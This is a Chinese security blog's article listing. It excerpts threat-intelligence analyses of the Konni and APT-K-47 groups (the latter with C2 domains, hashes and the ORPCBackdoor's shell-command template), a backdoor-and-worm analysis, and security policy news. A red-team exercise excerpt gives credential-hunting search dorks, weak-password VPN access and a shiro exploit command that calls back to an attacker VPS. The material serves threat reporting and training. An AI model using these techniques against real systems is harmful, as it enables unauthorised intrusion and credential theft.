28499076.bat,该文件内部存在一个自定义的加密函数,获取当前时间作为密钥。该文件的主要功能为加密27355145.bat生成的存放信息的txt文件,并将传入的带有计算机名称的文件名在加密后,与key和加密后的txt文件一同上传到指定的URL。在上传成功后会删除txt文件并在当前目录下新建一个upok.txt文件。 图 2‑12 28499076.bat 60937671.bat,主要功能用于下载文件,可根据传递的第三个参数来选择是否进行加密传输。若选择加密传输,则会获取当前时间作为密钥,并将其作为参数添加到URL中传递至服务端。 图 2‑13 60937671.bat 3 关联归因 根据初始压缩包内的诱饵文档以及脚本代码的相似性进行关联,发现了几个同为税务主题的压缩包,压缩包内同样包含LNK文件,且LNK文件中的掩饰文档与ZIP数据相连。将包含在LNK文件内的ZIP内容提取出来,发现内部脚本的功能大致相同,部分文件在传输加密、变量命名和文件命名上存在不同。 对关联到的所有文件进行分析,压缩包内的恶意LNK文件及对应域名列表如下所示: 表3-1 LNK文件对应的hash、文件名及域名列表 其中最早发现的两个文件的上传、下载功能的脚本文件内并无加密函数。 图 3‑1 早期攻击活动中用于文件上传、下载的脚本 图 3‑2 之后捕获到的攻击活动中用于文件上传、下载的脚本 此次捕获到的样本中,存在从伪装成韩国Naver公司相关的URL中下载文件的行为,具体URL如下表所示: 表3-2 URL列表 归因分析: 诱饵文件类型均为HWP文件,为韩国常用的文档格式。诱饵文件的文件名与内容所用语言均为韩语,且诱饵文档内容为税务相关内容,与以往Konni组织的攻击目标相符[1]。 在代码层面,仍沿用之前的脚本模式来进行文件的调用、初步的信息收集、文件的上传与下载,代码结构及内容与以往攻击活动相似程度较高,部分内容存在重叠。 图 3‑3 左侧为本次攻击活动中的信息收集脚本,右侧为以往攻击活动中的信息收集脚本[2]   图 3‑4 左侧为本次攻击活动中用作文件调用和下载的脚本,右侧为以往攻击活动中用作文件调用和下载的脚本[2] 4 威胁框架映射 本次捕获到的Konni组织疑似针对韩国企业的攻击活动共涉及ATT&CK框架中9个阶段的15个技术点,具体行为描述如下表: 表4-1 本次Konni组织攻击活动的技术行为描述表 将涉及到的威胁行为技术点映射到ATT&CK框架如下图所示: 图 4‑1 本次Konni组织攻击活动对应的ATT&CK映射图 5 总结 根据捕获的样本内容并结合已有情报来看,Konni组织从今年年初开始便以采用税务相关主题的诱饵进行钓鱼攻击。该组织继续沿用以往的LNK攻击手法,将恶意脚本文件添加到压缩包内并嵌入LNK文件中,待受害者打开LNK文件,执行恶意脚本文件,下载后续载荷。相比于早些时间捕获到的样本,差别主要存在于脚本中新增的数据传输前的加密功能。 IoCs 参考资料 세무조사관련정상한글문서로위장한악성링크파일유포 https://www.boannews.com/media/view.asp?idx=113686 코니(Konni) APT 조직, HWP 취약점을이용한 'Coin Plan' 작전감행 https://blog.alyac.co.kr/2543 ...

    2023-08-13 178
  • 后门病毒携带蠕虫 使用多种免杀手段

    近期,火绒威胁情报系统监测到一款后门病毒正在快速传播,被激活后会释放多个恶意文件并执行,使黑客可以进行信息收集,远程控制等恶意操作。值得注意的是,该病毒不但使用多种免杀手段躲避查杀,其释放的子文件中还具有 Synares 蠕虫感染特征,可在受害者电脑的文件中进行传播。 用户点击病毒程序之后,该病毒就会释放并执行恶意文件,随后黑客可以远程控制用户电脑。除此之外,该黑客团伙在开发过程中疑似主机环境被Synares蠕虫病毒感染或有意捆绑,致使释放的子文件中存在着蠕虫的特征,增加了破坏性。执行流程如下图所示: 执行流程图 在免杀层面上,该病毒文件使用了包括:多层 PE 流调用、VMProtect 和 Safengine Shielden 加壳保护、DLL 内存加载、异常反调试、流程混淆等多种技术来进行对抗。在此,火绒工程师提醒大家警惕陌生文件,先查杀再使用。 一、样本分析: malware.exe: 在分析对抗层面上,病毒对运行逻辑进行了混淆处理,并利用了包括:函数指针动态获取、函数包装调用等手段来干扰静态分析: 函数指针动态获取 函数包装调用 在关键执行层面上,病毒文件先后释放 look2.exe 和 "HD_malware.exe" 文件并执行。其中 look2.exe 存放于用户的 TEMP 目录中,而 "HD_malware.exe" 则释放到桌面下,并赋予 "隐藏属性和系统保护属性" 隐藏自身。 执行流程图 文件示意图 Look2.exe: look2.exe 是一个支持持久化和配置更新的木马程序。该病毒在执行前会解密出互斥体名称: “kinh.xmcxmr.com:442:svchcst” ,通过该互斥体的成功创建与否来判断父进程 malware.exe 是否正在执行,以此决定后续操作。 父子进程交互 后续操作中,look2.exe 会尝试获取系统目录,然后释放一个以时间戳命名的 bat 文件,该文件实则为用于加载的 DLL 文件。根据父进程写入的执行标志位来决定是直接执行 DLL 内 MainThread 导出函数还是 Install 导出函数(这两个导出函数在后面解析),执行完后还尝试删除文件,但实际上由于文件被加载占用,所以无法被移除。 look2.exe 执行流程 另一种情况是 look2.exe 被用于执行配置更新操作,当命令行中包含 GUpdate 和要更新的注册表项时,程序会定位到指定的位置进行配置更新: 配置更新操作 释放的 DLL 文件实际上是 Gh0st 后门病毒的变种,该 dll 中包括 5 个导出函数,但都围绕着 MainThread 展开。导出函数名代表了真实意图,包括配置更新(DllUpdate)、创建服务(Install)、卸载服务(Uninstall)、服务启动函数(ServiceMain)。 导出函数列表 导出函数逻辑代码 MainThread 包含核心恶意功能,包括:终端数据收集,接收和执行控制命令、派发执行任意病毒模块等。火绒安全实验室在 2019 年发布的 《火绒5.0公测阶段就立功 有效防御某一类常见黑客攻击 》 文章中披露的后门病毒在执行流程和代码逻辑上,经对比与该函数没有太大改动,故不再重复分析。 注册表修改对比 信息收集对比图 HD_malware.exe: “HD__malware.exe” 是一个被 Synares 蠕虫病毒感染过的文件,当它执行时,会释放感染前的 ".cache_malware.exe" 源程序,并且执行蠕虫自身的感染操作,包括:更新自身配置、篡改注册表自启动项,感染指定位置 EXE 和 EXCEL 文件、远控,窃密等。执行流程如下所示: 执行流程图 Synares 蠕虫病毒是一个相对较老的病毒,虽然变种极多,但本次观察到的行为与以前版本并无太大变化,包括感染的三个指定位置为:%USERPROFILE%\Desktop、%USERPROFILE%\Documents、%USERPROFILE%\Downloads。包括键盘记录和 usb、目录文件信息记录,并通过邮件回传。包括基础远控功能:CMD 命令执行、屏幕截图、打印目录、下载文件、删除文件等,故不再重复分析。 代码逻辑图 ._cache_HD_malware.exe 释放出来的 ._cache_HD_malware.exe 是被感染前的原始程序,其套用 vmp 壳来试图隐藏自身逻辑: 套用 VMP 壳 在其内部嵌入了未加密的 EXE 文件,用于释放执行,并包含核心操作: 内嵌 EXE 文件 HD_.cache_HD_malware.exe 内嵌的 EXE 文件在释放时会再次以 “HD_” 做前缀,其同样被设置系统保护和隐藏属性,并且套用 SE 壳试图隐藏逻辑: 套用 SE 壳 当前文件示意图 该病毒文件执行时,会从 C2 服务器上下载 exploror.exe 写入到创建的 C:\windowss64 目录下 computer.exe 文件中并启动执行。 下载文件并执行 Computer.exe Computer.exe 是一个引导程序,用于引导内嵌的 DLL 加载执行。内嵌 DLL 是加密存储的,Computer.exe 在执行时会构造并利用异常来进行反调试,并且解密操作也在异常处理中定义。 解密 DLL 和异常反调试 在解密内嵌 DLL 后,会调用指定导出函数 fuckyou,剩下所有操作均由 DLL 内代码完成。 指定导出函数 该导出函数主体逻辑同样与火绒安全实验室在 2019 年发布的 《火绒5.0公测阶段就立功 有效防御某一类常见黑客攻击 》文章中提到的后门病毒,经对比并没有太大改动(DDOS 模块已移除),故不再重复分析。 代码对比 二:附录 HASH ...

    2023-08-13 166
  • 攻防演练|记一次对xx教育局攻防总结

    前言 这次攻防演练每个队伍分配不同的目标,有些队伍拿的点可以直接 nday 打,有些队伍外网打点十分困难比如我们,但分数是是统一算的,可以说不是那么的公平。不过也算是提供了些许经验,简单做一下总结,都是比较基础的东西,如有写的不正确的地方欢迎各位师傅指正。 外网打点 敏感信息泄露 一般来说学校外网能拿直接权限的点已经很少了,web 应用大多是放在 vpn 后面,因此能弄到一个 vpn 账号可以说是事半功倍 另外还可以通过语法筛选出存在默认弱口令的系统,常用命令如下: PLAINTEXT 1 2 3 4 5 6 7 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github*.edu.cn password   查看方式优先选择最近更新,太久远的基本上失效了 这里队友收集到了某个目标的 vpn 账号,使用的是 姓名拼音/12345678 弱口令 进去内网后能访问的只有一个 OA 系统,测试了一下没发现什么东西,寻找其他突破口 shiro 无链 常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统 在常规的 hw 中这些方法比较通用,但是对于教育行业来说会相对困难,有 edusrc 的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点 坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是 shiro 直接工具开冲,发现有默认 key 但是无利用链 这里想到之前学习 shiro 可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/ PLAINTEXT 12 java -jar shiro_tool.jar 地址VPS:端口 通过 dnslog 测试有回显,这里有个注意点:使用 http://dnslog.cn/部分站点会拦截,可以换多个 dnslog 平台测试 dnslog 有回显接下来就是拿 shell 了,这里由于固化思维,之前遇到的都是 linux 系统,先入为主觉得是 Linux,结果没利用成功 这里可以通过网站快速生成 payload,https://x.hacking8.com/java-runtime.html 一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是 windows,所以这里 payload 要改变一下 Linux:  ...

    2023-08-11 206
  • 揭秘南亚新 APT 组织 APT-K-47 “神秘象”

    2023年3月知道创宇404高级威胁情报团队全球率先捕获到一个全新APT组织的武器后门,我们称为“ORPCBackdoor”,并在2023年5月对外发布了该武器后门的详细分析:Bitter 组织新攻击武器分析报告 - ORPCBackdoor 武器分析 在该报告里我们把该武器后门定位为 BITTER(“蔓灵花”)使用的最新武器,然而我们留意到近日卡巴斯基发布报告称他们于第二季度发现了一个全新的APT组织,该组织的主要攻击目标为巴基斯坦,将其命名为“Mysterious Elephant(神秘象)”。此外还发布了两篇非公开报告,第一篇报告主要描述了该组织过去几年的主要技战术(TTPS),第二篇描述了该组织对巴基斯坦外交相关部门的攻击行动。 该组织主要特点是使用了一个全新的后门,该后门通过恶意RTF文档传递到受害者机器上。恶意RTF文档通过钓鱼邮件进行投递。这个全新的后门通过RPC与C2服务器进行通信,并有在受控机器上执行文件或者命令的能力,同时该后门也可以从C2服务器上接收文件和命令并执行。经过确认,卡巴斯基发现的后门与我们率先捕获的“ORPCBackdoor”是同一个后门程序。考虑到归因存在分歧差异,由此知道创宇404高级威胁情报团队把使用“ORPCBackdoor”的“新”组织启用全新编号:APT-K-47,中文名称“神秘象”。 本文我们也会从样本整体攻击链及同源关系分析等进一步扩线分析,且我们也通过知道创宇遥测大数据观察到该组织攻击的目标除了巴基斯坦外,还有攻击其他国家的痕迹。同时经过回溯分析,我们发现该组织最早攻击活动应当开始于2022年3月份左右。本文将公布该APT组织攻击细节及相关IOC。 1. 整体攻击链 图1在APT-K01的一次攻击活动中,攻击者通过钓鱼邮件向攻击目标发送CHM文件,CHM文件使用“俄中友好、和平与发展委员会”为诱饵,相关诱饵内容如下所示。 图2从钓鱼文件的内容可以看到,该组织的攻击目标不只是卡巴斯基描述的仅针对巴基斯坦,根据前期知道创宇遥测大数据显示,该组织攻击目标为多个国家。 CHM文件恶意部分为doc.html,该文件中存在一个OBJECT对象,该对象用于创建一个每隔15分钟运行一次的计划任务,任务用于下载并执行存放在二阶服务器中的二阶恶意程序,二阶程序为MSI文件。 图3二阶MSI文件中存放着一对白加黑文件,黑文件为卡巴斯基报告中提到的ORPCBackdoor,白文件为微软官方服务文件,用于启动黑文件(OLMAPI32.dll)。 图4 2. 同源性分析 ORPCBackdoor攻击链条与印度方向所使用的技战术相重叠,其中 BITTER 组织的技战术与代码结构尤为相像,相关对比分析如下: BITTER 组织在往期的攻击活动中使用的 CHM 文件结构如下: 图5本次捕获到的 ORPCBackdoor 初始阶段的 CHM 文件结构如下: 图6两者doc.htm文件对比,下图为 BITTER 的doc.htm文件: 图7下图为ORPC的CHM文件中的doc.htm文件: 图8CHM文件从代码逻辑、功能和规避技巧等方面来看几乎一致,后续下载的二阶文件均为msi文件。 ORPCBackdoor攻击链条与南亚方向所使用的技战术相重叠,分析发现该木马曾在confucious组织使用过的网络资产里面出现过,同时我们发现同类木马也在 BITTER 组织使用过的资产上出现过。南亚方向的APT组织一直以来都存在资产方向的交叉使用,我们甚至发现过confucious与Patchwork组织出现过部分特殊字符串的重用,很难完全将某一个组织彻底同其他组织分开,目前的主要区分依据还是整个木马攻击链条的区别以及部分网络资产的区别。综合我们对其他南亚组织Sidewinder、Patchwork、cnc、confucious、BITTER、APT-K-47的分析情况来看,这几个黑客组织可能是同一组织下的不同小组,存在攻击工具、攻击目标、网络资产方面不少重叠情况。 3. ORPCBackdoor描述 3.1 样本功能综述 ORPCBackdoor共计17个导出函数,相关导出函数名称如下所示: GetFileVersionInfoA GetFileVersionInfoByHandle GetFileVersionInfoExW GetFileVersionInfoSizeA GetFileVersionInfoSizeExW GetFileVersionInfoSizeW GetFileVersionInfoW VerFindFileA VerFindFileW VerInstallFileA VerInstallFileW VerLanguageNameA VerLanguageNameW VerQueryValueA VerQueryValueW GetFileVersionInfoByHandleEx(void) DllEntryPoint 从导出函数来看ORPCBackdoor使用了version.dll模版,version.dll是一个Windows操作系统的动态链接库文件,它主要用于管理可执行文件或者DLL文件的版本信息。故我们有理由猜测ORPCBackdoor使用DLL劫持技术,采用白加黑方式用于达到一定的免杀效果,本次发现的调用文件为MicrosoftServices,但由于调用该DLL的情况较多后续BITTER组织可能会使用其他款白文件进行调用。 ORPCBackdoor恶意入口有两处,第一处为GetFileVersionInfoBy- HandleEx(void)导出函数,第二处为DllEntryPoint。 ORPCBackdoor从设计思路来看可分为两个模块,两个模块分别为初始化模块以及交互模块,整体硬编码字符采用HEX字符串保存,例如“SYSTEM INFORMATION \n”字符在ORPCBackdoor中保存的字符为"53595354454D20494E464F524D4154494F4E205C6E",该方式可略微达到阻碍反检测以及对抗分析等目的,根据ORPCBackdoor所支持的功能,我们可以推断出该后门所处感染链前端,用于为后续行动提供基础环境。 3.1.1 初始化模块描述 初始化模块内包含多个功能模块。多个模块配合完成在与服务端交互执行的前期工作,前期工作包括了字符解析、首次运行测验、持久化、本机信息收集、C2在线检测等方面,各部分内容详述如下: 字符初始化本文前面有提及ORPCBackdoor内置的关键字符均采用TOHEXStr的方式保存,在运行过程中ORPCBackdoor会将即将使用的字符经进行解码。根据后门中的上下文调用来看,加密的字符中还包含了服务端下发的命令。 持久化ORPCBackdoor通过判断文件是否存在,从而防止多次持久化创建,在进行持久化创建前,ORPCBackdoor会判断同路径下是否存在ts.dat文件,当且文件不存在ORPCBackdoor才会创建持久化,持久化创建方式采用COM调用TaskScheduler CLSID,计划任务名称为Microsoft Update,创建完成后创建ts.dat文件。 初始信息收集初始信息收集三个部分数据,分别是进程列表、系统信息、用户信息,相关信息收集非常详尽,除基本信息外还会收集OS Build Type、Registered Owner、Install Date等信息。 交互初始化交互初始化与持久化模块类似,同样通过判断文件是否存在,从而防止与服务端同时多进程与服务端交互,判断逻辑为判断ProgramData路径下是否存在$cache.dat文件,如果文件存在ORPCBackdoor将不会与服务端建立连接,否则初始RPC调用,ProtSeq采用ncacn_ip_tcp。如果在尝试RPC调用后服务端无数据返回则休眠5分钟后继续尝试,当服务端返回命令后进入交互模块。 3.1.2 交互模块描述 交互模块与常见的命令处理逻辑相似,通过多层if-else来解析服务端执行并完成指定功能,ORPCBackdoor所支持的功能并不算多,主要为Get- Shell,其余包含一些文件处理、上传下载执行等操作。 ORPCBackdoor相关执行及对应功能描述如下: IDID指令所对应的功能较为少见,其功能是将服务端下发的一段0xF大小的数据即15位数字(eg: 818040900140701),保存在本地%ProgramData%/$tmp.txt文件中,根据该指令及前面代码流程中未出现ClientID相关生成操作,故我们猜测此步操作用于赋予受害者ID用于区分不同受害者。 INFINF指令用于上传在初始化模块-初始信息收集子模块中所收集的详尽本机信息。 DWNDWN指令所对应的模块属于精心设计过的功能模块,功能为下载文件,根据对代码的分析来看DWN功能模块设计的较为健壮,其支持在向服务端反馈每一步操作是否成功或错误原因,从而完成既定目标流程,由于ORPCBackdoor属于感染链前部分故此模块的稳定性极为重要。 RUNRUN指令用于执行指定文件,使用WinExecAPI启动文件。 DLYDLY指令为休眠指令,休眠服务端指定时长后再次运行。 CMDCMD指令为ORPCBackdoor核心指令,功能为GetShell,其所使用的处理逻辑为,解析服务端所下发的Shell指令,获取到服务端下发的Shell指令后进行指令拼接,拼接格式为cmd.exe /c |服务端下发的指令|>> c:\Users\Public\cr.dat。后续通过WinExec()API执行该条执行,执行完成后将cr.dat的内容发送至服务端,后续删除cr.dat文件从而达到一次与服务端Shell交互效果。在分析过程中,我们捕获到服务端首先会下发systeminfo命令再次获取系统信息,紧接着第二条指令为whoami。通过对ORPCBackdoor整体分析我们可以得出以下结论:ORPCBackdoor后门是一款较为精简且设计较为成熟的后门程序。无论是对自身字符的处理,抛弃常用的Socket调用转而使用RPC调用,还是为规避终端检测所采用的version.dll劫持模板,域名、程序、描述等整体一致性,我们可以看出本次攻击活动可以算得上是一次经过精心设计策划的行动,同时为了防止自身暴露也使用了新型攻击武器从而变更了其惯用的TTP。 3.2 样本细节描述 从ORPCBackdoor相关原始信息中可以看到最早的样本创建时间是2022年2月份和3月份: 图9 图10 图11:正常version.dll 图12:ORPCBackdoor 图13:通过文件判断是否进行持久化流程图13:通过文件判断是否进行持久化流程 图14:主机当前运行的进程信息收集 图15——18:极为详尽的系统信息收集 图19:服务端指令初始化 图20:RPC初始化 图21:生成ClienID 图22:生成的ClienID 图23:上传前期收集的系统信息 图24:文件下载模块 图25:RUN指令-运行指定程序 图26:休眠模块 图27:核心模块-Shell模块 图28:服务端下发的命令一 图29:服务端下发的命令二 图30:通过NdrClientCall2API收发服务端消息 4.IOC ORPCBackdoor 8AEB7DD31C764B0CF08B38030A73AC1D22B29522FBCF512E0D24544B3D01D8B3 88ecbe38dbafde7f423eb2feb6dc4a74 f4cea74c8a7f850dadf1e5133ba5e396 C&C msdata.ddns.net outlook-services.ddns.net msoutllook.ddns[.]net outlook-updates.ddns[.]net outlook-services.ddns[.]net 108.62.118.125:443 msdocs.ddns.net 作者:K&NaN@知道创宇404高级威胁情报团队 ...

    2023-08-11 139
  • 强制性国家标准《网络关键设备安全通用要求》发布

    文章来源:中国通信标准化协会 2月20日,国家市场监督管理总局(国家标准化管理委员会)发布2021年第1号公告,批准了7项强制性国家标准和1项强制性国家标准修改单,其中包含1项通信领域的强制性国家标准:GB 40050-2021《网络关键设备安全通用要求》。 GB 40050-2021《网络关键设备安全通用要求》是工业和信息化部网络安全管理局为落实《中华人民共和国网络安全法》中有关网络关键设备安全的要求,组织相关研究机构编制的一项重要标准。标准规定了网络关键设备应满足的通用安全功能要求和安全保障要求,适用于网络关键设备,可为网络运营者采购网络关键设备时提供依据,还适用于指导网络关键设备的研发、测试等工作。主要内容包括安全功能要求和安全保障要求。安全功能要求聚焦于保障和提升设备的安全技术能力,主要包括设备标识安全、冗余备份恢复与异常检测、漏洞和恶意程序防范、预装软件启动及更新安全、用户身份标识与鉴别、访问控制安全、日志审计安全、通信安全、数据安全以及密码要求10个部分。安全保障要求聚焦于规范网络关键设备提供者在设备全生命周期的安全保障能力,主要包括设计和开发、生产和交付、运行和维护三个环节的要求。标准将在提升网络关键设备安全性、可控性,减少用户在使用产品中的各种风险等方面发挥重要作用。 强制性国家标准GB 40050-2021《网络关键设备安全通用要求》将于2021年8月1日正式实施。为配合本标准的正式实施,后续中国通信标准化协会将在工业和信息化部网络安全管理局的指导下,加强标准宣贯,帮助相关主体提升网络关键设备安全能力以符合标准的要求。...

    2021-02-26 586
  • 2020年中国网络安全十大事件

    2021年2月25日,近日,由中国计算机学会主办、中国计算机学会计算机安全专业委员会承办的2020年中国网络安全大事在京发布。此次活动通过对2020年重大网络安全事件的梳理,采用征求业界部分专家意见和网络公开投票的方式,评选出10件2020年中国网络安全大事件。这些事件包括(以事件时间排序): 1、公安机关网安部门疫情期间强化网络安全保卫 2月4日,为贯彻落实中共中央政治局常务委员会疫情防控工作会议精神,公安部召开应对新型冠状病毒感染肺炎疫情工作第三次全国公安机关视频会议。会议强调,要强化网上巡查管控,推动落实主体责任、主管责任、监管责任,及时依法查处网上造谣滋事行为,与有关部门密切配合,及时公开透明准确发布信息,积极回应群众关切。新冠肺炎疫情发生后,全国公安机关网安部门在疫情期间严厉打击网上违法犯罪,及时消除网络安全风险隐患,为打赢疫情防控的人民战争、总体战、阻击战营造清朗的网络空间。 2、央行发布新版《网上银行系统信息安全通用规范》和《个人金融信息保护技术规范》 2月5日和2月13日,中国人民银行分别正式发布新修订的金融行业标准《网上银行系统信息安全通用规范》(JR/T 0068—2020)和金融行业标准《个人金融信息保护技术规范》(JR/T 0171—2020)。新版《网上银行系统信息安全通用规范》,立足于移动互联和云计算等新技术在网上银行系统的不断深入应用,以及手机银行使用愈加广泛的背景,规范了网上银行系统安全技术要求、安全管理要求、业务运营安全要求,为网上银行系统建设、运营及测评提供了依据,建立了新规范。《个人金融信息保护技术规范》规定了个人金融信息在收集、传输、存储、使用、删除、销毁等生命周期各环节的安全防护要求,从安全技术和安全管理两个方面,对个人金融信息保护提出了规范性要求。 3、新版国家标准《信息安全技术 个人信息安全规范》发布 3月6日,中国电子技术标准化研究院组织修订的《信息安全技术 个人信息安全规范》正式发布,该规范于2020年10月1日起实施,并替代GB/T 35273-2017版本国标。该标准由全国信息安全标准化技术委员会归口,相对于2017版标准,2020版标准结合网络和社会发展变化进行了针对性修订。该标准进一步契合了我国相关法律法规要求,增强了指导性和适用性,为保障人民利益、促进国家信息化产业健康发展提供了坚实基础。 4、《网络信息内容生态治理规定》正式实施 2020年3月1日起,《网络信息内容生态治理规定》正式实施,为了营造良好网络生态,保障公民、法人和其他组织的合法权益,维护国家安全和公共利益,根据《中华人民共和国国家安全法》《中华人民共和国网络安全法》《互联网信息服务管理办法》等法律、行政法规,制定本规定。政府、企业、社会、网民等主体,以培育和践行社会主义核心价值观为根本,以网络信息内容为主要治理对象,以建立健全网络综合治理体系、营造清朗的网络空间、建设良好的网络生态为目标,开展弘扬正能量、处置违法和不良信息等相关活动。 5、公安部“净网2020”专项行动全面展开 2020年,全国公安机关网安部门发起“净网2020”打击网络黑产犯罪集群战役,重拳打击为电信网络诈骗、网络**屏蔽敏感词**、网络水军等突出违法犯罪提供网号恶意注册、技术支撑、支付结算、推广引流等服务的违法犯罪活动,共侦办刑事案件4453起,抓获违法犯罪嫌疑人14311名(含电信运营商内部工作人员152名),查处关停网络接码平台38个,捣毁“猫池”窝点60个,查获、关停涉案网络账号2.2亿余个。相关数据显示,网络活跃接码平台日接码量降幅67%,黑市手机号数量降幅近50%,有力维护了网络秩序。 6、中共中央、国务院要求加快培育数据要素市场 数据分类分级安全保护成热点 4月9日,中共中央、国务院发布《关于构建更加完善的要素市场化配置体制机制的意见》。《意见》提出,加快培育数据要素市场。具体包括,推进政府数据开放共享,提升社会数据资源价值,加强数据资源整合和安全保护。 7、十二部门联合发布网络安全审查办法 4月,国家互联网信息办公室、国家发改委等12个部门联合发布了《网络安全审查办法》,该办法自2020年6月1日起实施,《网络产品和服务安全审查办法(试行)》同时废止。办法明确,关键信息基础设施运营者采购网络产品和服务,影响或可能影响国家安全的,应当按照该办法进行网络安全审查,并明确了审查的原则、范围、方式、流程等。该办法的发布,是落实网络安全法要求、构建国家网络安全审查工作机制的重要举措,有力保障了国家安全、经济发展和社会稳定。 8、数据安全法(草案)面向社会公众征求意见 6月28日,《中华人民共和国数据安全法(草案)》在第十三届全国人大常委会第二十次会议审议;7月2日,中国人大网公布了数据安全法(草案),并于7月3日至8月16日期间对大众进行意见征求。本法规草案主要是对数据、数据活动、数据安全给出了明确的定义,从总体国家安全观的视角提出要求,建立健全数据安全协同治理体系,提高数据安全保障能力,促进数据开发利用,保护公民、组织的合法权益,维护国家主权、安全和发展利益。草案明确了数据安全主管机构的监管职责,建立健全了数据安全协同治理体系,提高了数据安全保障能力,促进了数据出境安全和自由流动,让数据安全有法可依、有章可循,为数字化经济的安全健康发展提供了有力支撑。 9、公安部制定出台《贯彻落实网络安全等级保护制度和关键信息基础设施安全保护制度的指导意见》 7月22日,公安部下发1960号文《贯彻落实网络安全等级保护制度和关键信息基础设施安全保护制度的指导意见》,是落实等级保护2.0制度的重要标志,首次系统、明确地对关键性基础设施的保护提出了要求,具有非常强的实际操作性。文件中提到,加强重要数据和个人信息保护,采取多项关键技术措施,切实保护重要数据全生命周期安全。构建以密码技术、可信计算、人工智能、大数据分析等为核心的网络安全技术保护体系。其中,需要产业链各端共享共治、协作配合,这是我国网络安全行业发展具有顶层设计意义的指导文件。 10、国内安全厂商持续曝光外方对我方的攻击行动 2020年,国内安全厂商安天、奇安信、360等持续对外方的网络攻击进行跟踪与分析,追踪其攻击行动、溯源幕后团伙,曝光相关攻击活动,并发布多篇分析报告。安天在《Darkhotel组织渗透隔离网络的Ramsay组件分析》报告中,披露了Darkhotel组织对我国的APT攻击活动技术细节。奇安信发布《提菩行动:来自南亚APT组织“魔罗桫”的报复性定向攻击》等;360披露美国中央情报局黑客组织(APT-C-39)对中国关键领域进行的长达十一年的网络渗透攻击。安全厂商正在全面担当起国家网络安全保障和能力支撑的责任。 ...

    2021-02-26 689

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注